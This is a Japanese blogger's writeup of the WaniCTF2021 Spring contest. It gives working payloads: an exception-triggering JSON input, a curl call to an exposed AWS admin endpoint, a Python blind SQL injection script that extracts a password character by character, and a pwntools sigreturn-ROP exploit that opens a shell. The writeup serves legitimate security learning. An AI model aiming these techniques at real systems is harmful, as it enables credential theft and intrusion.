きなこもち。

(´・ω・`)

WaniCTF2021 Spring writeup

WaniCTF2021 Springに個人で参加し、Webは全完、PwnはVery hardを残して6問、Dockerを勉強してたのでDockerに関連するMiscを1問解きました。 このうち、Hard以上のもの&面白かったものをwriteupで書いていこうと思います。

f:id:kinako_mochimochi:20210503000324p:plain
相変わらずスコアボードが美しい!

Web

Exception(Easy, sensitive info leak)

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。

f:id:kinako_mochimochi:20210503000450p:plain
Exception

  • 個人的に今回のWaniCTFで最も難しく、解くまでに時間がかかった問題です笑

Analysis

  • ソースコードが添付されています
    • Lambdaで動く関数がPythonで書かれており、例外処理を起こせばFlagを取れるようです
    • ユーザの入力がjson.dumps({"name": "こんにちは、" + data["name"] + "さん"})の部分に入り、それ以外は何もできません
def lambda_handler(event, context):
    try:
        try:
            data = json.loads(event["body"])
        except Exception:
            data = {}
        if "name" in data:
            return {
                "statusCode": 200,
                "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
            }
        return {
            "statusCode": 400,
            "body": json.dumps(
                {
                    "error_message": "Bad Request",
                }
            ),
        }
    except Exception as e:
        error_message = traceback.format_exception_only(type(e), e)
        del event["requestContext"]["accountId"]
        del event["requestContext"]["resourceId"]
        return {
            "statusCode": 500,
            "body": json.dumps(
                {
                    "error_message": error_message,
                    "event": event,
                    "flag": os.environ.get("FLAG"),
                }
            ),
        }

Solution

  • 前述のとおり、例外を起こせばよいのですが、JSONのフォーマットやHTTPリクエストのヘッダーなどをいじってエラーを起こしても別のエラーハンドリングにキャッチされ400 Bad Requestになるので、かなり悩みました
    • 単に、送る内容を文字列ではなく数値にするとPython"TypeError: can only concatenate str (not "int") to str"で目的の例外を起こしてくれました

Payload

{"name":1}

Flag

FLAG{b4d_excep7ion_handl1ng}

CloudFront Basic Auth(Hard, Access Control Misconfiguration)

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。 重要なエンドポイントにはBasic認証をつけてみました。

Analysis

  • アプリ自体はExceptionのものと同じで、添付ファイルにtemplate.yamlというクラウドの構成が書かれたYAMLファイルが追加されています
    • 注目すべき部分だけ抜き出してみます
  AdminFunction:
    Type: AWS::Serverless::Function # More info about Function Resource: https://github.com/awslabs/serverless-application-model/blob/master/versions/2016-10-31.md#awsserverlessfunction
    Properties:
      CodeUri: admin/
      Handler: app.lambda_handler
      Runtime: python3.8
      Environment:
        Variables:
          FLAG: !Ref FLAG2
      Events:
        Admin:
          Type: Api # More info about API Event Source: https://github.com/awslabs/serverless-application-model/blob/master/versions/2016-10-31.md#api
          Properties:
            # "https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"にGETするとAdminFunctionが動く
            Path: /admin
            Method: get
            RestApiId: !Ref API

Solution

"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"にGETするとAdminFunctionが動く

とのことだったので、このエンドポイントを探してみます。 Exceptionと同じように例外を発生させて、エラーの情報から使えそうな情報が無いか探すと以下のような一文が見つかりました。

"Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com"

というわけで、このエンドポイントに対して/Prod/adminをつけたURLにアクセスしてみます。

Payload

curl https://boakqtdih8.execute-api.us-east-1.amazonaws.com/Prod/admin

これでFlagが帰ってきました。

Flag

FLAG{ap1_g4teway_acc3ss_con7rol}

  • AWS初心者だったのでよく分かりませんが、API gatewayがどこからでも叩けてしまうのが問題、ということだったのでしょうか?

watch animal(Very Hard, Blind SQLi)

スーパーかわいい動物が見れるWebサービスを作ったよ。 wanictf21spring@gmail.comのメアドの人のパスワードがフラグです。

f:id:kinako_mochimochi:20210503002136p:plain
watch animal

Analysis

  • アプリのログイン画面を色々テストしてみると、Email addressでもPasswordのフォームでもSQLインジェクションが可能なことがわかります
  • ただ、ログインするのが目的ではなくwanictf21spring@gmail.comのメールアドレスを持つユーザーのパスワードを抜き出すのが問題なので、どうにかしてパスワードをリークさせる必要があります。

Solution

  • とりあえずUnion-based SQLiを使って、エラーが起きればログインが失敗することを利用してDB内のカラム名などを特定していきました(ソースコードが配布されていることに競技中気づかず、これを書いてる時に気づきました💦)

  • ' UNION SELECT email, 2,3 from users -- -などで確かめると、usersテーブルが存在すること、emailカラムやpasswordカラムがあることが判明します

  • ここからはBlind SQLiを利用してパスワードをリークさせていくことにしました。

    Payload

  • HeroCTF v3でLIKE句を用いたBlind SQLiがあったので、それを応用してLIKE句を使ってリークしてみました
import string
import requests
url = 'https://watch.web.wanictf.org/'


# _もマッチするので今回は消しました
cs = string.ascii_letters + string.digits + "!\"#$&'()*+,-./:;<=>?@[\]^`{|}~"

ans = ""

for i in range(1, 60):
    for char_number in cs :
        char =ans +  char_number
        sql = "' union select 1,2,password from users where email = 'wanictf21spring@gmail.com' and password like '{char}%' -- -".format(char = char)
        payload = {
            'email' : 'wanictf21spring@gmail.com',
            'password' : sql
        }
        response = requests.post(url, data=payload, verify=False)
        if 'Failed' not in response.text:
            print("Found!", char)
            ans += char_number
            break

Flag

(´+ω+`)< python3 wani-blind.py
Found! F
Found! FL
Found! FLA
Found! FLAG
Found! FLAG{
Found! FLAG{b
Found! FLAG{bl
Found! FLAG{bl1
Found! FLAG{bl1n
Found! FLAG{bl1nd
Found! FLAG{bl1ndS
Found! FLAG{bl1ndSQ
Found! FLAG{bl1ndSQL
Found! FLAG{bl1ndSQLi
Found! FLAG{bl1ndSQLi}

Pwn

SuperROP(Hard)

sigreturnを用いたROPでシェルを実行してください。 sigreturnを使うとスタックの値でレジスタを書き換えることができます。

Analysis

  • スタックのアドレスをプログラムが表示し、ユーザの入力を受け付けます
    • BOFがあります
  • 問題名からも説明文からもわかるように、SROP(Sigreturn ROP)と呼ばれるテクニックを使う問題です
    • 年初あたりに開催されたNahamCon CTF 2021にも出題されていましたが、writeup読んでもあまりよく分かってないまま放置してました

Solution

SROP問のwriteupを読んでいると、この問題でSROPを使うには以下のものが必要そうだと判明しました

  • syscall; retのアドレス(gadget)
  • raxを0xf(15)にセットするgadget(sigreturnのシステムコール番号が15)

syscall; retはobjdumpした結果、0x401176に定義されたcall_syscall関数の中にありました。

また、raxを0xfにセットするgadgetもset_rax関数の中で定義されていたので用意できそうです。

SigreturnFrameにはそれぞれ実行したいシステムコールのための値をセットします。

  • frame.rax→0x3b(execveのシステムコール番号)
  • frame.rdi→execveの第一引数、実行したいプログラムへのパス。ここでは/bin/sh\0がセットされているスタックのあどれす
  • frame.rsi→execveの第二引数、NULLでよいので0
  • frame.rdx→execveの第三引数、NULLでよいので0
  • frame.rip→syscall; retへのアドレス

あとはpwntoolsのSigreturnFrameをバイト列に変換して送信すればOK...のはずですが、この問題はスタックのアラインメントを揃えなければならないようだったので、ret命令のgadgetを挟まなければなりませんでした。

あとは、プログラムを起動した時にリークされるスタックのアドレスにシェル起動用の文字列/bin/sh\0もセットしてやればOKです!

Payload

from pwn import *

binary = context.binary = ELF("./pwn06")
r = remote("srop.pwn.wanictf.org", 9006)

syscall = 0x40117e
set_rax = 0x40119c
ret = 0x40101a

r.recvuntil("buff : ")
stack = int(r.recvline().rstrip(), 16)
print(hex(stack))

frame = SigreturnFrame(kernel='amd64')
frame.rax = 0x3b # execve, 59
frame.rsi = 0 # NULL
frame.rdx = 0 # NULL
frame.rdi = stack # pointer to /bin/sh
frame.rip = syscall

payload = b"/bin/sh\0"
payload += b"A" * (72 - len(payload))
payload += p64(ret)
payload += p64(set_rax)
payload += p64(syscall)
payload += bytes(frame)

r.sendline(payload)
r.interactive()

Flag

FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

f:id:kinako_mochimochi:20210503005543p:plain

感想

前回のWaniCTFより程よく難易度が上がっており、尚且つ勉強になるCTFでした!

特にSROP問は復習しようしようと思っていながらもその時間が確保できず先送りにしていたので、今回のCTFで解く経験を積ませていただきました。

作問者と主催の皆様、ありがとうございました!!

余談

  • ちなみにExceptionを解くために、AWSセキュリティの講義動画を見たり、HTBAWS系のマシンに取り組むなど3,4時間クラウドセキュリティの勉強に費やしましたが、まさか型を変えて例外を起こすのが正解とは...深読みしすぎたorz

    • SROP問の3倍くらい時間費やしました笑
  • (springということは、summerやfall, winterもあるのかな?)